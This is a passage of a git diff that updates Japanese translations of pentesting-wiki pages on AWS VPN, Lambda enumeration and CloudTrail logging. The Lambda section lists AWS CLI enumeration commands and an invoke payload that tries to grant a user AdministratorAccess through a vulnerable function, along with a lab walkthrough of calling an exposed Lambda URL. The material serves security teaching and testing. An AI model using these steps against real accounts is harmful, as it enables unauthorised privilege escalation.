Client VPN では、各 client device が VPN client software を使って secure connection を確立する。 ### Site-to-Site VPN **Connect your on premisses network with your VPC.** -- **VPN connection**: A secure connection between your on-premises equipment and your VPCs. -- **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. +- **VPN connection**: on-premises equipment と VPCs の間の secure connection。 +- **VPN tunnel**: customer network から AWS へ、または AWS から customer network へ data が通過できる encrypted link。 -Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. +各 VPN connection には 2 本の VPN tunnels が含まれ、high availability のために同時に使用できる。 -- **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device. -- **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection. -- **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. -- **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. +- **Customer gateway**: customer gateway device についての information を AWS に提供する AWS resource。 +- **Customer gateway device**: Site-to-Site VPN connection のあなた側にある physical device または software application。 +- **Virtual private gateway**: Site-to-Site VPN connection の Amazon 側にある VPN concentrator。Amazon 側の gateway として virtual private gateway または transit gateway を使用する。 +- **Transit gateway**: VPCs と on-premises networks を相互接続するために使える transit hub。Amazon 側の gateway として transit gateway または virtual private gateway を使用する。 #### Limitations -- IPv6 traffic is not supported for VPN connections on a virtual private gateway. -- An AWS VPN connection does not support Path MTU Discovery. +- virtual private gateway 上の VPN connections では IPv6 traffic はサポートされない。 +- AWS VPN connection は Path MTU Discovery をサポートしない。 -In addition, take the following into consideration when you use Site-to-Site VPN. +また、Site-to-Site VPN を使う際は以下も考慮すること。 -- When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks. +- 共通の on-premises network に VPCs を接続する場合、network には重複しない CIDR blocks を使用することを推奨する。 ### Client VPN @@ -152,34 +152,34 @@ In addition, take the following into consideration when you use Site-to-Site VPN #### Concepts -- **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated. -- **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone. -- **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks. -- **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks. -- **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session. -- **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`. -- **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443. -- **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address. -- **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues. -- **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client. +- **Client VPN endpoint:** client VPN sessions を有効化・管理するために作成・設定する resource。すべての client VPN sessions が終了する resource である。 +- **Target network:** Client VPN endpoint に関連付ける network。**VPC の subnet は target network である**。Subnet を Client VPN endpoint に関連付けると、VPN sessions を確立できる。高可用性のために、複数の subnets を Client VPN endpoint に関連付けられる。すべての subnets は同じ VPC からでなければならない。各 subnet は異なる Availability Zone に属していなければならない。 +- **Route**: 各 Client VPN endpoint には、利用可能な destination network routes を記述する route table がある。route table 内の各 route は、特定の resources や networks への traffic の path を指定する。 +- **Authorization rules:** authorization rule は、network に access できる users を restrict する。指定した network に対して、access を許可する Active Directory または identity provider (IdP) group を設定する。この group に属する users のみが、指定された network に access できる。**デフォルトでは authorization rules は存在しない**ため、users が resources や networks に access できるようにするには authorization rules を設定する必要がある。 +- **Client:** Client VPN endpoint に接続して VPN session を確立する end user。End users は OpenVPN client をダウンロードし、作成した Client VPN configuration file を使って VPN session を確立する必要がある。 +- **Client CIDR range:** client IP addresses を割り当てるための IP address range。Client VPN endpoint への各 connection には、client CIDR range から一意の IP address が割り当てられる。たとえば `10.2.0.0/16` のように client CIDR range を選ぶ。 +- **Client VPN ports:** AWS Client VPN は TCP と UDP の両方で ports 443 と 1194 をサポートする。デフォルトは port 443。 +- **Client VPN network interfaces:** subnet を Client VPN endpoint に関連付けると、その subnet に Client VPN network interfaces が作成される。**Client VPN endpoint から VPC に送信される traffic は Client VPN network interface を通って送られる**。その後、source network address translation (SNAT) が適用され、client CIDR range の source IP address は Client VPN network interface の IP address に変換される。 +- **Connection logging:** connection events を記録するために、Client VPN endpoint の connection logging を有効にできる。この information を使って forensics を実行したり、Client VPN endpoint の使用状況を分析したり、connection issues を debug できる。 +- **Self-service portal:** Client VPN endpoint の self-service portal を有効にできる。Clients は web-based portal に credentials で login し、Client VPN endpoint configuration file の最新 version、または AWS provided client の最新 version を download できる。 #### Limitations - **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table. - Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.** -- A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint. -- The **client CIDR range cannot be changed** after you create the Client VPN endpoint. -- The **subnets** associated with a Client VPN endpoint **must be in the same VPC**. -- You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**. -- A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**. -- Client VPN supports **IPv4** traffic only. -- Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**. -- If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format. +- **Client CIDR range の一部**は Client VPN endpoint の **availability** model を支えるために使用され、clients に割り当てられない。したがって、Client VPN endpoint で予定している最大同時接続数を有効にするのに必要な IP addresses の 2 倍を含む CIDR block を割り当てることを推奨する。 +- **client CIDR range cannot be changed** は、Client VPN endpoint を作成した後では変更できない。 +- Client VPN endpoint に関連付けられた **subnets** は **same VPC** 内になければならない。 +- **同じ Availability Zone の複数 subnets** を Client VPN endpoint に関連付けることは **できない**。 +- Client VPN endpoint は dedicated tenancy VPC 内の subnet associations をサポートしない。 +- Client VPN は **IPv4** traffic のみをサポートする。 +- Client VPN は Federal Information Processing Standards (**FIPS**) **compliant** ではない。 +- Active Directory で multi-factor authentication (MFA) が無効な場合、user password は次の形式にできない。 ``` SCRV1:: ``` -- The self-service portal is **not available for clients that authenticate using mutual authentication**. +- self-service portal は mutual authentication を使用して認証する clients には **available ではない**。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 54ff455c6..93c95e4b5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,56 +4,56 @@ ## Lambda -Amazon Web Services (AWS) Lambdaは、**サーバーの提供や管理を必要とせずにコードを実行できる** **コンピュートサービス**として説明されています。これは、コード実行に必要な**リソースの割り当てを自動的に処理する**能力によって特徴付けられ、高可用性、スケーラビリティ、およびセキュリティなどの機能を保証します。Lambdaの重要な側面は、その価格モデルであり、**料金は使用されたコンピュート時間のみに基づいています**。これにより、初期投資や長期的な義務が不要になります。 +Amazon Web Services (AWS) Lambda は、サーバーのプロビジョニングや管理を必要とせずにコードの実行を可能にする **compute service** として説明されます。これは、コード実行に必要な **resource allocation を自動的に処理** できることを特徴としており、高可用性、scalability、security などの機能を確保します。Lambda の重要な点は pricing model で、**料金は使用した compute time のみに基づく** ため、初期投資や長期的な拘束が不要です。 -Lambdaを呼び出すには、**好きなだけ頻繁に**（Cloudwatchを使用して）呼び出すことができ、**URL**エンドポイントを**公開**して呼び出したり、**API Gateway**経由で呼び出したり、**S3**バケット内のデータの**変更**や**DynamoDB**テーブルの更新などの**イベント**に基づいて呼び出すことができます。 +lambda を呼び出すには、**何度でも好きなだけ**（Cloudwatch を使って）呼び出したり、**URL** endpoint を **公開** してそれを呼び出したり、**API Gateway** 経由で呼び出したり、**S3** bucket 内のデータの **changes** や **DynamoDB** table の更新などの **events** に基づいて呼び出したりできます。 -Lambdaの**コード**は**`/var/task`**に保存されています。 +lambda の **code** は **`/var/task`** に保存されます。 ### Lambda Aliases Weights -Lambdaは**複数のバージョン**を持つことができます。\ -また、**エイリアス**を介して**1つ以上の**バージョンを公開することができます。エイリアス内で公開されている**各**バージョンの**重み**は、**どのエイリアスが呼び出しを受けるか**を決定します（例えば90%-10%など）。\ -**1つ**のエイリアスのコードが**脆弱**である場合、**脆弱な**バージョンがエクスプロイトを受け取るまで**リクエストを送信**できます。 +Lambda は **複数の versions** を持つことができます。\ +また、**aliases** 経由で公開された **1つ以上** の version を持つこともできます。alias 内で公開された **各** version の **weights** によって、**どの alias が invocation を受けるか** が決まります（たとえば 90%-10% など）。\ +**どれか1つ** の alias の code が **vulnerable** なら、**vulnerable な** version が exploit を受けるまで request を送信できます。 -![](<../../../images/image (223).png>) +![AWS Lambda aliases page showing release alias traffic split between version 2 and version 1](<../../../images/image (223).png>) ### Resource Policies -Lambdaリソースポリシーは、他のサービス/アカウントにLambdaを呼び出す**アクセスを与える**ことを可能にします。\ -例えば、これは**URLを介して公開されたLambdaに誰でもアクセスを許可する**ポリシーです： +Lambda resource policies を使うと、たとえば他の services/accounts に lambda の invoke 権限を **付与** できます。\ +たとえば、**URL 経由で公開された lambda に誰でもアクセスできる** ようにする policy は次のとおりです:
-また、これはAPI Gatewayが呼び出すことを許可するものです： +または、API Gateway に invoke させるためのものは次のとおりです:
### Lambda Database Proxies -**数百**の**同時Lambdaリクエスト**がある場合、各リクエストが**データベースに接続して接続を閉じる**必要があると、うまくいきません（Lambdaはステートレスで、接続をオープンに保つことができません）。\ -そのため、**Lambda関数がRDS Proxyと対話する**場合、データベースインスタンスの代わりに、同時Lambda関数によって作成された多くの接続をスケーリングするために必要な接続プーリングを処理します。これにより、Lambdaアプリケーションは**既存の接続を再利用**でき、新しい接続を各関数呼び出しのために作成する必要がなくなります。 +**数百** の **concurrent lambda requests** がある場合、それぞれが **database に接続して切断する** 必要があると、うまく動作しません（lambda は stateless なので、connection を開いたまま維持できません）。\ +そのため、Lambda functions が database instance の代わりに RDS Proxy と連携するようにします。RDS Proxy は、concurrent Lambda functions によって作成される多数の同時 connection をスケールさせるために必要な connection pooling を処理します。これにより、Lambda applications は function invocation ごとに新しい connection を作るのではなく、**既存の connections を再利用** できます。 ### Lambda EFS Filesystems -データを保持し、さらには共有するために、**LambdasはEFSにアクセスしてマウントすることができ**、Lambdaはそこから読み書きできるようになります。 +データを保持し、さらに共有するために、Lambdas は EFS にアクセスして mount できます。そのため Lambda はそこから read と write が可能になります。 ### Lambda Layers -Lambdaの**レイヤー**は、**追加のコード**や他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーにはライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。 +Lambda _layer_ は、**追加の code** やその他の content を含めることができる .zip file archive です。layer には libraries、[custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、data、configuration files を含めることができます。 -**関数ごとに最大5つのレイヤーを含める**ことが可能です。関数にレイヤーを含めると、**内容は実行環境の`/opt`**ディレクトリに抽出されます。 +function あたり最大 **five layers** まで含めることができます。function に layer を含めると、**contents は execution environment の `/opt`** directory に extract されます。 -**デフォルト**では、作成した**レイヤー**は**あなたのAWSアカウントにプライベート**です。レイヤーを他のアカウントと**共有**したり、レイヤーを**公開**することを選択できます。異なるアカウントが公開したレイヤーを関数が使用する場合、関数は**レイヤーが削除された後や、レイヤーへのアクセス権が取り消された後もレイヤーのバージョンを使用し続けることができます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。 +**default** では、作成した **layers** は AWS account 内で **private** です。layer を他の accounts と **共有** するか、layer を **public** にするかを選べます。別の account が公開した layer を functions が消費している場合、functions は **その layer version が削除された後でも、または layer への access 権限が取り消された後でも、その layer version を使い続けることができます**。ただし、削除された layer version を使って新しい function を作成したり、functions を更新したりすることはできません。 -コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、および他の依存関係をコンテナイメージにパッケージ化します。 +container image として deployed された functions は layers を使用しません。代わりに、image を build する際に、希望する runtime、libraries、その他の dependencies を container image にまとめます。 ### Lambda Extensions -Lambda拡張は、さまざまな**監視、可視性、セキュリティ、およびガバナンスツール**と統合することによって関数を強化します。これらの拡張は、[Lambdaレイヤーを使用した.zipアーカイブ](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)または[コンテナイメージデプロイメントに含まれる](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/)形で追加され、**内部**および**外部**の2つのモードで動作します。 +Lambda extensions は、さまざまな **monitoring、observability、security、governance tools** と統合することで functions を拡張します。これらの extensions は [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 経由で追加されるか、[container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) に含められ、**internal** と **external** の 2 つの mode で動作します。 -- **内部拡張**は、ランタイムプロセスと統合し、**言語固有の環境変数**や**ラッパースクリプト**を使用してその起動を操作します。このカスタマイズは、**Java Correto 8および11、Node.js 10および12、.NET Core 3.1**などのさまざまなランタイムに適用されます。 -- **外部拡張**は、別のプロセスとして実行され、Lambda関数のライフサイクルに合わせて動作を維持します。これらは、**Node.js 10および12、Python 3.7および3.8、Ruby 2.5および2.7、Java Corretto 8および11、.NET Core 3.1**、および**カスタムランタイム**などのさまざまなランタイムと互換性があります。 +- **Internal extensions** は runtime process に統合され、**language-specific environment variables** と **wrapper scripts** を使って起動時の挙動を操作します。このカスタマイズは、**Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1** を含むさまざまな runtimes に適用されます。 +- **External extensions** は別プロセスとして実行され、Lambda function の lifecycle に合わせて動作します。**Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**、および **custom runtimes** など、さまざまな runtimes と互換性があります。 ### Enumeration ```bash @@ -92,9 +92,9 @@ aws lambda list-event-source-mappings aws lambda list-code-signing-configs aws lambda list-functions-by-code-signing-config --code-signing-config-arn ``` -### ラムダを呼び出す +### lambda を invoke する -#### 手動 +#### Manual ```bash # Invoke function aws lambda invoke --function-name FUNCTION_NAME /tmp/out @@ -103,68 +103,68 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` -#### 公開されたURLを介して +#### 公開されたURL経由 ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` -#### URL経由でLambda関数を呼び出す +#### URL 経由で Lambda function を呼び出す -さて、実行可能なLambda関数を見つける時が来ました: +次は、実行できる可能性のある lambda functions を見つける番です: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` -![](<../../../images/image (262).png>) +![AWS Lambda function configuration JSON including function name, runtime, role, handler, and URL config](<../../../images/image (262).png>) -「Level6」と呼ばれるラムダ関数が利用可能です。呼び出し方を見てみましょう: +「Level6」というlambda functionが利用可能です。呼び出し方を確認しましょう: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` -![](<../../../images/image (102).png>) +![Terminal output for aws lambda add-permission granting public function URL invocation](<../../../images/image (102).png>) -名前とIDがわかったので、名前を取得できます: +これで、名前と ID がわかったので、Name を取得できます: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` -![](<../../../images/image (237).png>) +![AWS API Gateway get-stages output showing a stage with method settings and deployment ID](<../../../images/image (237).png>) -最後に、関数にアクセスして呼び出します（ID、Name、function-nameがURLに表示されることに注意してください）： [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +そして最後に、関数へアクセスして呼び出します（ID、Name、function-name が URL に表示されていることに注意してください）: [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** -#### その他のトリガー +#### Other Triggers -他にも多くのソースがlambdaをトリガーできます。 +lambda をトリガーできる他のソースは多数あります
-### プライバシー昇格 +### Privesc -次のページでは、**Lambdaの権限を悪用して権限を昇格させる方法**を確認できます： +次のページでは、**Lambda permissions を悪用して権限昇格する方法**を確認できます: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc/README.md {{#endref}} -### 認証されていないアクセス +### Unauthenticated Access {{#ref}} ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md {{#endref}} -### ポストエクスプロイテーション +### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ {{#endref}} -### 永続性 +### Persistence {{#ref}} ../aws-persistence/aws-lambda-persistence/ {{#endref}} -## 参考文献 +## References - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer) - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index ff9bf68c8..a05a07bf3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,102 +4,103 @@ ## **CloudTrail** -AWS CloudTrail **は、AWS環境内の活動を記録および監視します**。それは、誰が何を、いつ、どこから行ったかを含む詳細な**イベントログ**をキャプチャします。これにより、変更やアクションの監査証跡が提供され、セキュリティ分析、コンプライアンス監査、およびリソース変更の追跡に役立ちます。CloudTrailは、ユーザーとリソースの動作を理解し、セキュリティ姿勢を強化し、規制遵守を確保するために不可欠です。 +AWS CloudTrail は、**AWS 環境内のアクティビティを記録・監視**します。AWS リソースに対するすべての操作について、誰が何を、いつ、どこから行ったかを含む詳細な **event logs** を取得します。これにより、変更やアクションの監査証跡が提供され、security analysis、compliance auditing、resource change tracking に役立ちます。CloudTrail は、ユーザーとリソースの振る舞いを理解し、security posture を強化し、regulatory compliance を確実にするために不可欠です。 -各ログされたイベントには以下が含まれます： +各記録された event には次が含まれます: -- 呼び出されたAPIの名前: `eventName` -- 呼び出されたサービス: `eventSource` -- 時間: `eventTime` -- IPアドレス: `SourceIPAddress` -- エージェントメソッド: `userAgent`。例： - - Signing.amazonaws.com - AWS Management Consoleから - - console.amazonaws.com - アカウントのルートユーザー - - lambda.amazonaws.com - AWS Lambda -- リクエストパラメータ: `requestParameters` -- レスポンス要素: `responseElements` +- 呼び出された API の名前: `eventName` +- 呼び出された service: `eventSource` +- 時刻: `eventTime` +- IP address: `SourceIPAddress` +- agent method: `userAgent`. 例: +- Signing.amazonaws.com - AWS Management Console から +- console.amazonaws.com - アカウントの Root user +- lambda.amazonaws.com - AWS Lambda +- request parameters: `requestParameters` +- response elements: `responseElements` -イベントは**約5分ごとにJSONファイルに新しいログファイルとして書き込まれ**、CloudTrailによって保持され、最終的にログファイルは**約15分後にS3に配信されます**。\ -CloudTrailのログは**アカウント間およびリージョン間で集約できます**。\ -CloudTrailは、**ログファイルの整合性を使用して、CloudTrailが提供した後にログファイルが変更されていないことを確認できるようにします**。これは、ダイジェストファイル内のログのSHA-256ハッシュを作成します。新しいログのsha-256ハッシュは毎時作成されます。\ -トレイルを作成する際、イベントセレクターを使用してログを記録するトレイルを指定できます：管理、データ、またはインサイトイベント。 +Event は **およそ 5 分ごとに JSON file として新しい log file に書き込まれ**、CloudTrail に保持され、最終的に log files は **約 15 分後に S3 に配信**されます。\ +CloudTrail の logs は **複数 account 間および複数 region 間で集約可能**です。\ +CloudTrail では **log file integrity** を利用して、CloudTrail が配信してから log files が変更されていないことを検証できます。Digest file 内の logs に対して SHA-256 hash を作成します。新しい logs の sha-256 hash は 1 時間ごとに作成されます。\ +Trail を作成するとき、event selectors によりログ対象の trail を指定できます: Management、data、または insights events。 -ログはS3バケットに保存されます。デフォルトではサーバーサイド暗号化（SSE-S3）が使用されるため、AWSはアクセス権を持つ人々のためにコンテンツを復号化しますが、追加のセキュリティのためにSSEをKMSおよび独自のキーと共に使用できます。 +Logs は S3 bucket に保存されます。デフォルトでは Server Side Encryption が使用されるため (SSE-S3)、AWS はアクセス権を持つ人のために content を decrypt しますが、追加の security のために KMS と自分の keys を使った SSE を使用できます。 -ログは**この名前形式のS3バケットに保存されます**： +logs は **以下の名前形式の S3 bucket** に保存されます: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- バケット名は：**`aws-cloudtrail-logs--`** -- 例：**`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** +- BucketName は **`aws-cloudtrail-logs--`** +- 例: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -各フォルダー内の各ログは**この形式に従った名前を持ちます**：**`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +各 folder の中で、各 log は **次の形式の名前** を持ちます: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** -ログファイル命名規則 +Log File Naming Convention -![](<../../../../images/image (122).png>) +![CloudTrail log file naming convention showing account ID, region, timestamp, and unique string fields](<../../../../images/image (122).png>) -さらに、**ファイル整合性を確認するためのダイジェストファイル**は、**同じバケット内にあります**： +さらに、**digest files (file integrity を確認するため)** は **同じ bucket** の以下に保存されます: -![](<../../../../images/image (195).png>) +![CloudTrail digest file S3 path pattern with bucket name, account ID, region, and digest timestamp](<../../../../images/image (195).png>) -### 複数アカウントからのログの集約 +### Aggregate Logs from Multiple Accounts -- ログファイルを配信するAWSアカウントにトレイルを作成します -- CloudTrailのためにクロスアカウントアクセスを許可するように宛先S3バケットに権限を適用し、アクセスが必要な各AWSアカウントを許可します -- 他のAWSアカウントで新しいトレイルを作成し、ステップ1で作成したバケットを使用するように選択します +- AWS account で log files の配信先にしたい場所に Trail を作成する +- CloudTrail の cross-account access を許可する destination S3 bucket に権限を設定し、アクセスが必要な各 AWS account を許可する +- 他の AWS accounts で新しい Trail を作成し、手順 1 で作成した bucket を使うように選択する -ただし、すべてのログを同じS3バケットに保存できるとしても、複数のアカウントからのCloudTrailログを単一のAWSアカウントに属するCloudWatch Logsに集約することはできません。 +ただし、すべての logs を同じ S3 bucket に保存できても、複数の accounts の CloudTrail logs を 1 つの AWS account 所属の CloudWatch Logs に集約することはできません。 > [!CAUTION] -> アカウントには、**異なるトレイル**がCloudTrail **で有効**になっており、異なるバケットに同じ（または異なる）ログを保存できることを忘れないでください。 +> 1 つの account に、CloudTrail で **異なる Trails** を **有効化** して、同じ (または異なる) logs を別々の buckets に保存できることを忘れないでください。 -### すべての組織アカウントから1つのCloudTrailへ +### Cloudtrail from all org accounts into 1 -CloudTrailを作成する際、組織内のすべてのアカウントに対してCloudTrailを有効にし、ログを1つのバケットに取得するように指示することが可能です： +CloudTrail を作成するとき、org 内のすべての accounts で cloudtrail を有効化し、logs を 1 つの bucket に集約するよう指定できます:
-この方法で、すべてのアカウントのすべてのリージョンでCloudTrailを簡単に構成し、1つのアカウントにログを集中させることができます（そのアカウントは保護する必要があります）。 +これにより、すべての accounts のすべての regions で CloudTrail を簡単に設定し、logs を 1 つの account に集約できます (その account は保護すべきです)。 -### ログファイルの確認 +### Log Files Checking -ログが変更されていないことを確認するには、次のコマンドを実行します。 +以下を実行して、logs が改ざんされていないことを確認できます ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` ### Logs to CloudWatch -**CloudTrailは自動的にログをCloudWatchに送信できるため、疑わしい活動が行われたときに警告するアラートを設定できます。**\ -CloudTrailがCloudWatchにログを送信できるようにするには、そのアクションを許可する**ロール**を作成する必要があります。可能であれば、これらのアクションを実行するためにAWSのデフォルトロールを使用することをお勧めします。このロールはCloudTrailに以下を許可します： +**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ +CloudTrail がログを CloudWatch に自動送信できるので、不審な活動が行われたときに警告するアラートを設定できます。 +Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: -- CreateLogStream: CloudWatch Logsのログストリームを作成することを許可します -- PutLogEvents: CloudTrailログをCloudWatch Logsのログストリームに配信します +- CreateLogStream: これにより CloudWatch Logs の log streams を作成できます +- PutLogEvents: CloudTrail logs を CloudWatch Logs の log stream に配信します ### Event History -CloudTrail Event Historyでは、記録されたログをテーブルで検査できます： +CloudTrail Event History allows you to inspect in a table the logs that have been recorded: -![](<../../../../images/image (89).png>) +![AWS CloudTrail Event history table listing event name, time, source, username, resource type, and resource name](<../../../../images/image (89).png>) ### Insights -**CloudTrail Insights**は自動的に**分析**し、CloudTrailトレイルからの書き込み管理イベントを**警告**し、**異常な活動**を通知します。たとえば、`TerminateInstance`イベントの増加が確立されたベースラインと異なる場合、それはInsightイベントとして表示されます。これらのイベントは、**異常なAPI活動を見つけて対応することをこれまで以上に容易にします**。 +**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. -インサイトはCloudTrailログと同じバケットに保存されます：`BucketName/AWSLogs/AccountID/CloudTrail-Insight` +The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security | Control Name | Implementation Details | -| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| CloudTrail Log File Integrity |
  • ログが改ざんされていないか（変更または削除）を検証します

  • ダイジェストファイルを使用します（各ファイルのハッシュを作成）

    • SHA-256ハッシュ
    • デジタル署名のためのSHA-256とRSA
    • Amazonが所有する秘密鍵
  • ダイジェストファイルを作成するのに1時間かかります（毎時行われます）
| -| Stop unauthorized access |

  • IAMポリシーとS3バケットポリシーを使用します

    • セキュリティチーム —> 管理者アクセス
    • 監査人 —> 読み取り専用アクセス
  • ログを暗号化するためにSSE-S3/SSE-KMSを使用します
| -| Prevent log files from being deleted |
  • IAMおよびバケットポリシーで削除アクセスを制限します
  • S3 MFA削除を構成します
  • ログファイル検証で検証します
| +| ----------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| CloudTrail Log File Integrity |
  • logs が改ざんされたかどうかを検証します（変更または削除）

  • digest files を使用します（各 file ごとに hash を作成）

    • SHA-256 hashing
    • SHA-256 with RSA による digital signing
    • Amazon が所有する private key
  • digest file の作成には 1 hour かかります（毎 hour のちょうどその時に実行）
| +| Stop unauthorized access |

  • IAM policies と S3 bucket policies を使用します

    • security team —> admin access
    • auditors —> read only access
  • SSE-S3/SSE-KMS を使って logs を暗号化します
| +| Prevent log files from being deleted |
  • IAM と bucket policies で delete access を制限します
  • S3 MFA delete を設定します
  • Log File Validation で検証します
